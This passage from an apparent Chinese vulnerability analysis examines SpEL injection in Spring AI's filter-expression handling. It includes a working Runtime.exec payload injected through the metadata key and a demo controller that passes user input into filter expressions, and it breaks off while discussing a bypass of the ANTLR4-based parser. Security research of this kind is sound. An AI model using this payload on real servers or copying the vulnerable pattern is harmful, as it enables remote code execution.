0.05);border-radius: 4px;"><span leaf="">AST</span></code><span leaf=""> 递归遍历，其中 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">doKey</span></code><span leaf=""> 将 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Key</span></code><span leaf=""> 无任何转义拼接到 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf=""><a class="wx_topic_link" topic-id="mnljebae-teyh0x" style="color: #576B95 !important;" data-topic="1" data-recommend="">#metadata</a></span></code><span leaf=""> 模板：</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.14444444444444443" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;border-radius: 8px;height: auto !important;" data-imgfileid="100009100" src="https://wechat2rss.xlab.app/img-proxy/?k=2bfb66c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F5micBBibMraLmU3YDL5vS5ppOWLhOrpRzqOhA1pTC5ChWT8jsAvVEOBlTO9eIicxPJicWQl7SC1Tz4f1qTV0tgjjtM9lsKdiaAXSJCORtcYuHEGs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">doValue</span></code><span leaf=""> 通过 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">emitSpelString</span></code><span leaf=""> 对 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Value</span></code><span leaf=""> 中单引号、反斜杠等进行了转义，并且格式化为了日期格式：</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7916666666666666" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;border-radius: 8px;height: auto !important;" data-imgfileid="100009103" src="https://wechat2rss.xlab.app/img-proxy/?k=c5def35e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F5micBBibMraLmOt0EOiaNtgtVCYPY0VyM86vgUAIrzbTIq9CTqsyicia69IUaIqRPV5qC40wia8jiczXpSdwETxfibAjFjJAu3ibDwx2ibFiaibgbs1u6tE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.46296296296296297" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;border-radius: 8px;height: auto !important;" data-imgfileid="100009099" src="https://wechat2rss.xlab.app/img-proxy/?k=20ff78dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5micBBibMraLnUNibHObUvicoEO3YFE0G49q5EaWicfNZeBYRDYxu7lRL9zkPz9BQia3hZpva9htoya5Y4bBHPicYS0wibg48AefqSKSJpgncQ57iaB0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8023255813953488" data-type="jpeg" data-w="946" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;border-radius: 8px;height: auto !important;" data-imgfileid="100009106" src="https://wechat2rss.xlab.app/img-proxy/?k=fd1f68a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F5micBBibMraLlmQYBh2Abpia1wyEIssWgJ1TWCicBHkvwQS6iay3Lia6BxbTqGscR2EhSGrN9IFch99VdZFyqkRz2xrveWiceHggHu1cD5sLby5AX4%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Value</span></code><span leaf=""> 难以直接利用，但可以将 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">SpEL</span></code><span leaf=""> 载荷放到 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Key</span></code><span leaf=""> 中来完成注入，这与官方通报的漏洞描述一致。构造如下请求可以触发 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">RCE</span></code><span leaf=""> ：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;] + T(java.lang.Runtime).getRuntime().exec(new String[]{&#39;</span></span><span leaf="">calc</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;}) + <a class="wx_topic_link" topic-id="mnljebae-wgfn9w" style="color: #576B95 !important;" data-topic="1" data-recommend="">#metadata</a>[&#39;</span></span><span leaf="">x</span></code></pre><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.16111111111111112" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;border-radius: 8px;height: auto !important;" data-imgfileid="100009104" src="https://wechat2rss.xlab.app/img-proxy/?k=6621a4e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5micBBibMraLmZXwOK5ESxw4NVXCfWJzRe4uE1VuZxDnanzZ7dMPWHeaBxa3n39WS1VaW5wicSwe0zcmXPxjMtPfH5eakiaQhAQ4OL8IvmexibXU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3509259259259259" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;border-radius: 8px;height: auto !important;" data-imgfileid="100009105" src="https://wechat2rss.xlab.app/img-proxy/?k=b3bb62df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5micBBibMraLndqdgTwWHMMESmFXelwngBDibicdMUgM5FAvnWtyhQzOJZueoGvfR0xuuhBRvzsibV5hLrYias2XLcBDicXzUrOziaEadftias9MNppw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);border-image: initial;margin: 2em 8px 0.75em 0px;padding: 0px 0px 0px 12px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 18px;font-weight: bold;color: rgb(63, 63, 63);border-radius: 6px;line-height: 2.4em;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">Bypass FilterExpressionTextParser</span></h3><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">此外，</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">filterExpression</span></code><span leaf=""> 还支持纯字符串进行实例化：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">public</span></span><span leaf=""> Builder</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> filterExpression</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);"><span leaf="">(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">@Nullable</span></span><span leaf=""> String textExpression)</span></span><span leaf=""> {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 166, 87);"><span leaf=""><br/></span><span leaf="">    this</span></span><span leaf="">.searchRequest.filterExpression = (textExpression !=</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> null</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            ?</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> new</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> FilterExpressionTextParser</span></span><span leaf="">().parse(textExpression) :</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> null</span></span><span leaf="">;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    return</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 166, 87);"><span leaf=""> this</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">但是如果使用字符串形式的过滤器，</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Spring AI</span></code><span leaf=""> 会调用 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">FilterExpressionTextParser</span></code><span leaf=""> 进行格式处理。这里存在空值检查，并会自动加入 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">WHERE</span></code><span leaf=""> 前缀，更关键还会进行 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">ANTLR4</span></code><span leaf=""> 校验：</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.1111111111111112" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;border-radius: 8px;height: auto !important;" data-imgfileid="100009107" src="https://wechat2rss.xlab.app/img-proxy/?k=7656e4f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5micBBibMraLnIscL4ibiafbJcHicmah3bh29lSmURX5mR7eoHiaibKqlDdoAWUa0hfjxb3OtMs1UQMch0ysfyLXUtsqZYs00fzQ8icsmPYIdugBqWw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">修改 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">demo</span></code><span leaf=""> 如下：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">@PostMapping(&#34;/query&#34;)</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">public</span></span><span leaf=""> ResponseEntity&lt;SimpleQueryResponse&gt;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> simpleQuery</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);"><span leaf="">(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">@RequestBody</span></span><span leaf=""> SimpleQuery simpleQuery)</span></span><span leaf=""> {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    String</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> result</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> =</span></span><span leaf=""> ragService.query(simpleQuery);</span><span leaf=""><br/></span><span leaf="">...</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">public</span></span><span leaf=""> String</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> query</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);"><span leaf="">(SimpleQuery sr)</span></span><span leaf=""> {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf=""><br/></span><span leaf="">    // Filter.Expression maliciousExpr = new Filter.Expression(</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf="">    //         Filter.ExpressionType.EQ,</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf=""><br/></span><span leaf="">    //         new Filter.Key(sr.getFilterExpression()),</span></span><span style="box-sizing: border-box;border: 0px solid 